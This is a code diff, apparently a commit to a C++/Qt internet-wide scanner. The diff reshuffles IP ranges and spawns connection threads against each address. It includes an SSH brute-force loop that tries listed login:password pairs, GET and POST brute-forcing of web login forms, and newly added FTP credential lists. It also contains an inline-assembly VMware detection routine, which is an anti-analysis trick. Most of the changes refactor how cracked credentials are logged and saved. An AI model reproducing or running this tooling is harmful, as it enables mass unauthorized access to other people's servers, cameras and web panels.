unsigned int netmask = atoi(strstr(curIPStr.c_str(), "/") + 1);
|
||||
|
||||
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIP, '.');
|
||||
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIPStr.c_str(), '.');
|
||||
|
||||
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
|
||||
|
||||
@ -215,13 +204,13 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
|
||||
if (ip1 > ip2) {
|
||||
stt->doEmitionRedFoundData("Malformed input: check your range (" +
|
||||
QString(curIP) + ")");
|
||||
QString(curIPStr.c_str()) + ")");
|
||||
}
|
||||
|
||||
gTargets += ip2 - ip1 + 1;
|
||||
++MainStarter::flCounter;
|
||||
}
|
||||
else if (strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
|
||||
else if (strstr(curIPStr.c_str(), "RESTORE_IMPORT_SESSION") != NULL)
|
||||
{
|
||||
///DUMMY///
|
||||
}
|
||||
@ -230,19 +219,14 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
||||
QString::number(MainStarter::flCounter) +
|
||||
"] String-> [" +
|
||||
QString(curIPCopy) +
|
||||
QString(curIPStr.c_str()) +
|
||||
"]");
|
||||
return -1;
|
||||
};
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
};
|
||||
};
|
||||
gTargetsNumber = gTargets;
|
||||
|
||||
stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
|
||||
fclose(fl);
|
||||
}
|
||||
else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
|
||||
|
||||
}
|
||||
int MainStarter::loadTargets(const char *data) {
|
||||
|
||||
@ -379,12 +363,16 @@ void MainStarter::saveBackupToFile()
|
||||
|
||||
if (MainStarter::flCounter > 0)
|
||||
{
|
||||
if (!saveBackup) return;
|
||||
FILE *savingFile = fopen("tempIPLst.bk", "w");
|
||||
if (savingFile != NULL)
|
||||
{
|
||||
if (gflIndex < MainStarter::flCounter) {
|
||||
sprintf(ipRange, "%s-%d.%d.%d.%d\n",
|
||||
currentIP,
|
||||
sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n",
|
||||
ipsstartfl[gflIndex][0],
|
||||
ipsstartfl[gflIndex][1],
|
||||
ipsstartfl[gflIndex][2],
|
||||
ipsstartfl[gflIndex][3],
|
||||
ipsendfl[gflIndex][0],
|
||||
ipsendfl[gflIndex][1],
|
||||
ipsendfl[gflIndex][2],
|
||||
@ -496,7 +484,7 @@ void MainStarter::saver()
|
||||
{
|
||||
saverRunning = true;
|
||||
Sleep(1000);
|
||||
while (globalScanFlag)
|
||||
while (saveBackup && globalScanFlag)
|
||||
{
|
||||
savingBackUpFile = true;
|
||||
saveBackupToFile();
|
||||
@ -944,7 +932,7 @@ void MainStarter::startIPScan(){
|
||||
tAddr.s_addr = ntohl(i);
|
||||
ipVec.push_back(inet_ntoa(tAddr));
|
||||
|
||||
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
||||
if (ipVec.size() >= (offset < 10000 ? offset : 10000)) {
|
||||
|
||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||
while (ipVec.size() != 0) {
|
||||
@ -953,9 +941,9 @@ void MainStarter::startIPScan(){
|
||||
if (!globalScanFlag) goto haters_gonna_hate_IPM;
|
||||
|
||||
++indexIP;
|
||||
|
||||
strcpy(currentIP, ipVec[0].c_str());
|
||||
ipVec.erase(ipVec.begin());
|
||||
|
||||
verboseProgress(gTargets);
|
||||
|
||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
@ -1180,7 +1168,6 @@ void MainStarter::startDNSScan(){
|
||||
gTargets = dnsCounter;
|
||||
gTargetsNumber = gTargets;
|
||||
stt->doEmitionYellowFoundData("Starting DNS-scan...");
|
||||
stt->doEmitionChangeStatus("Scanning...");
|
||||
|
||||
int y = _GetDNSFromMask(dataEntry, "", dataEntry);
|
||||
if (y == -1)
|
||||
@ -1189,6 +1176,11 @@ void MainStarter::startDNSScan(){
|
||||
};
|
||||
}
|
||||
|
||||
struct Corac {
|
||||
int index;
|
||||
std::string ip;
|
||||
};
|
||||
|
||||
void MainStarter::startImportScan(){
|
||||
if (MainStarter::flCounter == 0)
|
||||
{
|
||||
@ -1198,13 +1190,112 @@ void MainStarter::startImportScan(){
|
||||
return;
|
||||
};
|
||||
|
||||
stt->doEmitionChangeStatus("Scanning...");
|
||||
for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
|
||||
//std::vector<std::string> ipVec;
|
||||
std::vector<Corac> ipVec;
|
||||
struct in_addr tAddr;
|
||||
int ipOffset = 6;
|
||||
//for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
|
||||
for (gflIndex = 0; gflIndex < MainStarter::flCounter; gflIndex += ipOffset)
|
||||
{
|
||||
sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
||||
ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
|
||||
ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
|
||||
//sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
||||
// ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
|
||||
// ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
|
||||
|
||||
//ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
||||
// (ipsstartfl[gflIndex][1] * 65536) +
|
||||
// (ipsstartfl[gflIndex][2] * 256) +
|
||||
// ipsstartfl[gflIndex][3];
|
||||
//ip2 = (ipsendfl[gflIndex][0] * 16777216) +
|
||||
// (ipsendfl[gflIndex][1] * 65536) +
|
||||
// (ipsendfl[gflIndex][2] * 256) +
|
||||
// ipsendfl[gflIndex][3];
|
||||
|
||||
switch (gShuffle) {
|
||||
case true: {
|
||||
int ipGap = MainStarter::flCounter - gflIndex;
|
||||
if (ipGap < ipOffset)
|
||||
{
|
||||
ipOffset = ipGap;
|
||||
};
|
||||
|
||||
for (int j = gflIndex, coracIndex = 0; j < gflIndex + ipOffset; ++j, coracIndex++)
|
||||
{
|
||||
/*sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
||||
ipsstartfl[j][0], ipsstartfl[j][1], ipsstartfl[j][2], ipsstartfl[j][3],
|
||||
ipsendfl[j][0], ipsendfl[j][1], ipsendfl[j][2], ipsendfl[j][3]);*/
|
||||
ip1 = (ipsstartfl[j][0] * 16777216) +
|
||||
(ipsstartfl[j][1] * 65536) +
|
||||
(ipsstartfl[j][2] * 256) +
|
||||
ipsstartfl[j][3];
|
||||
ip2 = (ipsendfl[j][0] * 16777216) +
|
||||
(ipsendfl[j][1] * 65536) +
|
||||
(ipsendfl[j][2] * 256) +
|
||||
ipsendfl[j][3];
|
||||
|
||||
for (unsigned long i = ip1; i <= ip2; ++i)
|
||||
{
|
||||
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||
|
||||
tAddr.s_addr = ntohl(i);
|
||||
Corac corac;
|
||||
corac.ip = std::string(inet_ntoa(tAddr));
|
||||
corac.index = coracIndex;
|
||||
ipVec.push_back(corac);
|
||||
}
|
||||
}
|
||||
|
||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||
for (int k = 0; k < ipVec.size(); ++k)
|
||||
{
|
||||
stt->addColoredIndex(ipVec[k].index);
|
||||
}
|
||||
|
||||
stt->doEmitionUpdatePB2();
|
||||
|
||||
while (ipVec.size() != 0) {
|
||||
++cIndex;
|
||||
//stt->doEmitionDrawPointerPB2(pointer++);
|
||||
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||
|
||||
++indexIP;
|
||||
|
||||
strcpy(currentIP, ipVec[0].ip.c_str());
|
||||
ipVec.erase(ipVec.begin());
|
||||
verboseProgress(gTargets);
|
||||
|
||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
}
|
||||
|
||||
// for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||
|
||||
// if (!globalScanFlag) break;
|
||||
|
||||
// tAddr.s_addr = ntohl(i);
|
||||
// ipVec.push_back(inet_ntoa(tAddr));
|
||||
|
||||
// if (ipVec.size() >= (gTargets > 10000 ? 10000 : gTargets)) {
|
||||
|
||||
// std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||
// while (ipVec.size() != 0) {
|
||||
|
||||
// while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||
// if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||
|
||||
// ++indexIP;
|
||||
|
||||
// strcpy(currentIP, ipVec[0].c_str());
|
||||
// ipVec.erase(ipVec.begin());
|
||||
// verboseProgress(gTargets);
|
||||
|
||||
// Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
haters_gonna_hate_IM:;
|
||||
break;
|
||||
}
|
||||
case false: {
|
||||
ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
||||
(ipsstartfl[gflIndex][1] * 65536) +
|
||||
(ipsstartfl[gflIndex][2] * 256) +
|
||||
@ -1213,41 +1304,6 @@ void MainStarter::startImportScan(){
|
||||
(ipsendfl[gflIndex][1] * 65536) +
|
||||
(ipsendfl[gflIndex][2] * 256) +
|
||||
ipsendfl[gflIndex][3];
|
||||
|
||||
switch (gShuffle) {
|
||||
case true: {
|
||||
std::vector<std::string> ipVec;
|
||||
struct in_addr tAddr;
|
||||
|
||||
for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||
|
||||
if (!globalScanFlag) break;
|
||||
unsigned long offset = ip2 - i;
|
||||
|
||||
tAddr.s_addr = ntohl(i);
|
||||
ipVec.push_back(inet_ntoa(tAddr));
|
||||
|
||||
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
||||
|
||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||
while (ipVec.size() != 0) {
|
||||
|
||||
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||
|
||||
++indexIP;
|
||||
strcpy(currentIP, ipVec[0].c_str());
|
||||
ipVec.erase(ipVec.begin());
|
||||
verboseProgress(gTargets);
|
||||
|
||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
}
|
||||
}
|
||||
}
|
||||
haters_gonna_hate_IM:;
|
||||
break;
|
||||
}
|
||||
case false: {
|
||||
struct in_addr tAddr;
|
||||
for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||
|
||||
@ -1289,21 +1345,84 @@ void MainStarter::runAuxiliaryThreads() {
|
||||
}
|
||||
|
||||
void MainStarter::createResultFiles() {
|
||||
char fileName[256] = { 0 };
|
||||
sprintf(fileName, "./result_files-%s", Utils::getStartDate().c_str());
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL);
|
||||
if(!res) stt->doEmitionRedFoundData("Failed to crete results.");
|
||||
bool res = CreateDirectoryA(fileName, NULL);
|
||||
if (!res) {
|
||||
int err = GetLastError();
|
||||
if (err != 183)
|
||||
{
|
||||
while (!res) {
|
||||
stt->doEmitionRedFoundData("Failed to create \"" + QString::fromLocal8Bit(fileName) + "\" Err: " + QString::number(err));
|
||||
res = CreateDirectoryA(fileName, NULL);
|
||||
err = GetLastError();
|
||||
Sleep(1000);
|
||||
}
|
||||
} else {
|
||||
stt->doEmitionYellowFoundData("Directory \"" + QString::fromLocal8Bit(fileName) + "\" already exists. Err: " + QString::number(err));
|
||||
}
|
||||
} else {
|
||||
stt->doEmitionGreenFoundData("Result directory \"" + QString::fromLocal8Bit(fileName) + "\" successfully created.");
|
||||
}
|
||||
#else
|
||||
struct stat str = { 0 };
|
||||
if (stat(RESULT_DIR_NAME, &str) == -1) {
|
||||
mkdir(RESULT_DIR_NAME, 0700);
|
||||
if (stat(fileName, &str) == -1) {
|
||||
mkdir(fileName, 0700);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void MainStarter::start(const char* targets, const char* ports) {
|
||||
/* This array will store all of the mutexes available to OpenSSL. */
|
||||
static MUTEX_TYPE *mutex_buf = NULL;
|
||||
|
||||
static void locking_function(int mode, int n, const char * file, int line)
|
||||
{
|
||||
if (mode & CRYPTO_LOCK)
|
||||
MUTEX_LOCK(mutex_buf[n]);
|
||||
else
|
||||
MUTEX_UNLOCK(mutex_buf[n]);
|
||||
}
|
||||
|
||||
static unsigned long id_function(void)
|
||||
{
|
||||
return ((unsigned long)THREAD_ID);
|
||||
}
|
||||
|
||||
int thread_setup(void)
|
||||
{
|
||||
int i;
|
||||
|
||||
mutex_buf = (MUTEX_TYPE*)malloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE));
|
||||
if (!mutex_buf)
|
||||
return 0;
|
||||
for (i = 0; i < CRYPTO_num_locks(); i++)
|
||||
MUTEX_SETUP(mutex_buf[i]);
|
||||
CRYPTO_set_id_callback(id_function);
|
||||
CRYPTO_set_locking_callback(locking_function);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int thread_cleanup(void)
|
||||
{
|
||||
int i;
|
||||
if (!mutex_buf)
|
||||
return 0;
|
||||
CRYPTO_set_id_callback(NULL);
|
||||
CRYPTO_set_locking_callback(NULL);
|
||||
for (i = 0; i < CRYPTO_num_locks(); i++)
|
||||
MUTEX_CLEANUP(mutex_buf[i]);
|
||||
free(mutex_buf);
|
||||
mutex_buf = NULL;
|
||||
return 1;
|
||||
}
|
||||
|
||||
void MainStarter::start(const char* targets, const char* ports) {
|
||||
saveBackup = true;
|
||||
curl_global_init(CURL_GLOBAL_ALL);
|
||||
|
||||
thread_setup();
|
||||
|
||||
createResultFiles();
|
||||
|
||||
if (loadTargets(targets) == -1 ||
|
||||
@ -1319,13 +1438,15 @@ void MainStarter::start(const char* targets, const char* ports) {
|
||||
else if (gMode == 1) startDNSScan();
|
||||
else startImportScan();
|
||||
|
||||
saveBackup = false;
|
||||
|
||||
stt->doEmitionYellowFoundData("Stopping threads...");
|
||||
stt->doEmitionChangeStatus("Stopping...");
|
||||
|
||||
while (cons > 0 || jsonArr->size() > 0) Sleep(2000);
|
||||
|
||||
thread_cleanup();
|
||||
|
||||
stt->doEmitionGreenFoundData("Done. Saved <u>" + QString::number(saved) +
|
||||
"</u> of <u>" + QString::number(found) + "</u> nodes.");
|
||||
stt->doEmitionChangeStatus("Idle");
|
||||
stt->doEmitionKillSttThread();
|
||||
}
|
@ -30,9 +30,8 @@ public:
|
||||
MainStarter()
|
||||
{
|
||||
horLineFlag = false;
|
||||
PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0;
|
||||
AnomC1 = 0, baCount = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0,
|
||||
WF = 0;
|
||||
PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
|
||||
camerasC1 = 0, baCount = 0, filtered = 0, Overl = 0, Alive = 0, Activity = 0, saved = 0, other = 0;
|
||||
BrutingThrds = 0;
|
||||
found = 0;
|
||||
gTargets = 0;
|
||||
@ -77,6 +76,18 @@ public:
|
||||
delete[]wfLoginLst;
|
||||
wfLoginLst = NULL;
|
||||
};
|
||||
if (ftpPassLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
|
||||
delete[]ftpPassLst;
|
||||
ftpPassLst = NULL;
|
||||
};
|
||||
if (ftpLoginLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
|
||||
delete[]ftpLoginLst;
|
||||
ftpLoginLst = NULL;
|
||||
};
|
||||
if (sshlpLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxSSHPass; ++i) delete[]sshlpLst[i];
|
||||
|
56
SSHAuth.cpp
56
SSHAuth.cpp
@ -84,17 +84,19 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
|
||||
return 0;
|
||||
}
|
||||
|
||||
int check_ssh_pass(const char *user, const char *pass,
|
||||
int check_ssh_pass(const int rowIndex, const char *user, const char *pass,
|
||||
const char *userPass, const char *host, int port,
|
||||
std::string *buffer, const char *banner) {
|
||||
int res = -1;
|
||||
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(userPass) + "@" + QString(host) + ":" + QString::number(port));
|
||||
|
||||
res = _sshConnect(user, pass, host, port);
|
||||
int res = _sshConnect(user, pass, host, port);
|
||||
|
||||
if(res == 0)
|
||||
{
|
||||
stt->doEmition_BAGreenData("[+] SSH: " + QString(userPass) + "@" + QString(host));
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(host) + ":" + QString::number(port), QString(userPass) + "@" + QString(host), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(userPass) + "@" + QString(host), "OK");
|
||||
}
|
||||
buffer->append(userPass);
|
||||
buffer->append("@");
|
||||
buffer->append(host);
|
||||
@ -112,6 +114,8 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
||||
char temp[64] = {0};
|
||||
char *ptr1 = 0;
|
||||
int res = -1;
|
||||
int rowIndex = -1;
|
||||
int passCounter = 0;
|
||||
|
||||
for(int i = 0; i < MaxSSHPass; ++i)
|
||||
{
|
||||
@ -126,23 +130,59 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
||||
|
||||
strncpy(login, temp, ptr1 - temp);
|
||||
strcpy(pass, ptr1 + 1);
|
||||
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
|
||||
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(host) + ":" + QString::number(port),
|
||||
QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else { rowIndex = -1; }
|
||||
++passCounter;
|
||||
|
||||
res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner);
|
||||
ZeroMemory(login, sizeof(login));
|
||||
ZeroMemory(pass, sizeof(pass));
|
||||
ZeroMemory(temp, sizeof(temp));
|
||||
|
||||
if(res == 0)
|
||||
{
|
||||
if(i == 0) return -2; //Failhit
|
||||
if (i == 0) {
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAILHIT");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAILHIT");
|
||||
}
|
||||
return -2; //Failhit
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
else if(res == -2)
|
||||
{
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return -2;
|
||||
};
|
||||
|
||||
Sleep(500);
|
||||
};
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
29
STh.cpp
29
STh.cpp
@ -1,6 +1,18 @@
|
||||
#include "STh.h"
|
||||
#include "externData.h"
|
||||
|
||||
//BA TablelistView
|
||||
void STh::doEmitionChangeBARow(int index, QString loginPass, QString percentage)
|
||||
{
|
||||
emit stt->signalChangeBARow(index, loginPass, percentage);
|
||||
}
|
||||
|
||||
void STh::doEmitionUpdatePB2()
|
||||
{
|
||||
cIndex = 0;
|
||||
emit stt->updPB2();
|
||||
}
|
||||
|
||||
void STh::doEmitionShowRedVersion()
|
||||
{
|
||||
emit stt->showRedVersion();
|
||||
@ -29,18 +41,7 @@ void STh::doEmitionFoundData(QString str)
|
||||
{
|
||||
emit stt->changeFoundData(str);
|
||||
}
|
||||
void STh::doEmitionBAData(QString str)
|
||||
{
|
||||
emit stt->changeBAData(str);
|
||||
}
|
||||
void STh::doEmition_BARedData(QString str)
|
||||
{
|
||||
emit stt->changeRedBAData(str);
|
||||
}
|
||||
void STh::doEmition_BAGreenData(QString str)
|
||||
{
|
||||
emit stt->changeGreenBAData(str);
|
||||
}
|
||||
|
||||
void STh::doEmitionRedFoundData(QString str)
|
||||
{
|
||||
emit stt->changeRedFoundData(str);
|
||||
@ -57,10 +58,6 @@ void STh::doEmitionDebugFoundData(QString str)
|
||||
{
|
||||
emit stt->changeDebugFoundData(str);
|
||||
}
|
||||
void STh::doEmitionChangeStatus(QString str)
|
||||
{
|
||||
emit stt->changeStatus(str);
|
||||
}
|
||||
void STh::doEmitionKillSttThread()
|
||||
{
|
||||
emit stt->killSttThread();
|
||||
|
29
STh.h
29
STh.h
@ -14,31 +14,44 @@ class STh : public QThread
|
||||
private:
|
||||
QString target = "";
|
||||
QString ports = "";
|
||||
QList<int> coloredIndexes;
|
||||
|
||||
public:
|
||||
void addColoredIndex(int index)
|
||||
{
|
||||
coloredIndexes.push_back(index);
|
||||
}
|
||||
QList<int> getColoredIndexes()
|
||||
{
|
||||
return coloredIndexes;
|
||||
}
|
||||
|
||||
void setMode(short mode);
|
||||
void setTarget(QString target);
|
||||
void setPorts(QString ports);
|
||||
|
||||
static int baModelSize();
|
||||
|
||||
static void doEmitionDataSaved(bool status);
|
||||
static void doEmitionStartScanIP();
|
||||
static void doEmitionStartScanDNS();
|
||||
static void doEmitionStartScanImport();
|
||||
static void doEmitionAddIncData(QString ip, QString str);
|
||||
static void doEmitionAddOutData(QString str);
|
||||
static void doEmition_BAGreenData(QString str);
|
||||
static void doEmition_BARedData(QString str);
|
||||
|
||||
static void doEmitionFoundData(QString str);
|
||||
static void doEmitionRedFoundData(QString str);
|
||||
static void doEmitionGreenFoundData(QString);
|
||||
static void doEmitionYellowFoundData(QString);
|
||||
static void doEmitionChangeStatus(QString);
|
||||
static void doEmitionKillSttThread();
|
||||
static void doEmitionBAData(QString str);
|
||||
|
||||
static void doEmitionDebugFoundData(QString);
|
||||
static void doEmitionShowRedVersion();
|
||||
static void doEmitionUpdateArc(unsigned long gTargets);
|
||||
static void doEmitionBlockButton(bool value);
|
||||
//BA TablelistView
|
||||
static void doEmitionChangeBARow(int index, QString loginPass, QString percentage);
|
||||
static void doEmitionUpdatePB2();
|
||||
|
||||
signals:
|
||||
public: signals: void showRedVersion();
|
||||
@ -46,20 +59,20 @@ public: signals: void startScanIP();
|
||||
public: signals: void startScanDNS();
|
||||
public: signals: void startScanImport();
|
||||
public: signals: void signalDataSaved(bool);
|
||||
public: signals: void changeGreenBAData(QString);
|
||||
public: signals: void changeRedBAData(QString);
|
||||
public: signals: void changeBAData(QString);
|
||||
public: signals : void updPB2();
|
||||
|
||||
public: signals: void changeFoundData(QString);
|
||||
public: signals: void changeRedFoundData(QString);
|
||||
public: signals: void changeGreenFoundData(QString);
|
||||
public: signals: void changeYellowFoundData(QString);
|
||||
public: signals: void changeDebugFoundData(QString);
|
||||
public: signals: void changeStatus(QString);
|
||||
public: signals: void killSttThread();
|
||||
public: signals: void sIncData(QString, QString);
|
||||
public: signals : void sOutData(QString);
|
||||
public: signals : void signalUpdateArc(unsigned long);
|
||||
public: signals : void signalBlockButton(bool);
|
||||
//BA TablelistView
|
||||
public: signals : void signalChangeBARow(int, QString, QString);
|
||||
|
||||
protected:
|
||||
void run();
|
||||
|
30
Utils.cpp
30
Utils.cpp
@ -1,6 +1,36 @@
|
||||
#include "Utils.h"
|
||||
#include <sstream>
|
||||
|
||||
std::string Utils::startDate;
|
||||
|
||||
void Utils::emitScaryError() {
|
||||
__asm{
|
||||
push edx
|
||||
push ecx
|
||||
push ebx
|
||||
|
||||
mov eax, 'VMXh'
|
||||
mov ebx, 0
|
||||
mov ecx, 10
|
||||
mov edx, 'VX'
|
||||
|
||||
in eax, dx
|
||||
cmp ebx, 'VMXh'
|
||||
|
||||
pop ebx
|
||||
pop ecx
|
||||
pop edx
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
void Utils::saveStartDate() {
|
||||
startDate = std::string(QDate::currentDate().toString().toLocal8Bit().data());
|
||||
}
|
||||
std::string Utils::getStartDate() {
|
||||
return startDate;
|
||||
}
|
||||
|
||||
int Utils::isDigest(const std::string *buffer) {
|
||||
if (Utils::ustrstr(buffer, "401 authorization") != -1
|
||||
|| Utils::ustrstr(buffer, "401 unauthorized") != -1
|
||||
|
5
Utils.h
5
Utils.h
@ -5,6 +5,7 @@
|
||||
#include <algorithm>
|
||||
#include <qstring.h>
|
||||
#include <vector>
|
||||
#include <qdatetime.h>
|
||||
|
||||
using namespace std;
|
||||
|
||||
@ -23,6 +24,7 @@ private:
|
||||
};
|
||||
|
||||
class Utils {
|
||||
private: static std::string startDate;
|
||||
public:
|
||||
static int isDigest(const std::string *buffer);
|
||||
|
||||
@ -82,6 +84,9 @@ public:
|
||||
static std::string getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2);
|
||||
static std::vector<std::string> splitToStrVector(const std::string &s, char delim);
|
||||
static std::vector<int> splitToIntVector(const std::string &s, char delim);
|
||||
static void saveStartDate();
|
||||
static std::string getStartDate();
|
||||
static void emitScaryError();
|
||||
};
|
||||
|
||||
#endif // UTILS_H
|
||||
|
@ -28,8 +28,6 @@ lopaStr WFClass::parseResponse(const char *ip,
|
||||
&& Utils::ustrstr(*buffer, std::string("forbidden")) == -1
|
||||
) {
|
||||
|
||||
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
|
||||
QString(login) + ":" + QString(pass));
|
||||
strcpy(result.login, login);
|
||||
strcpy(result.pass, pass);
|
||||
return result;
|
||||
@ -56,6 +54,7 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
||||
lopaStr result = {"UNKNOWN", "", ""};
|
||||
int passCounter = 0;
|
||||
int firstCycle = 0;
|
||||
int rowIndex = -1;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
@ -84,10 +83,17 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
||||
Connector con;
|
||||
if(con.nConnect(nip, port, &buffer) <= 0) return result;
|
||||
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; login/pass: "+ QString(login) + ":" + QString(pass) +
|
||||
"; - Progress: (" +
|
||||
QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
//stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
|
||||
// QString(login) + ":" + QString(pass),
|
||||
// QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
|
||||
result = parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||
if(i == 0) ++i;
|
||||
@ -108,6 +114,7 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
||||
lopaStr result = {"UNKNOWN", "", ""};
|
||||
int passCounter = 0;
|
||||
int firstCycle = 0;
|
||||
int rowIndex = -1;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
@ -138,9 +145,17 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
||||
Connector con;
|
||||
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
|
||||
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
|
||||
QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
//stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
|
||||
// QString(login) + ":" + QString(pass),
|
||||
// QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
++passCounter;
|
||||
|
||||
return parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||
|
@ -24,7 +24,7 @@ public:
|
||||
if(gMaxBrutingThreads > 0) {
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
||||
|
||||
++WF;
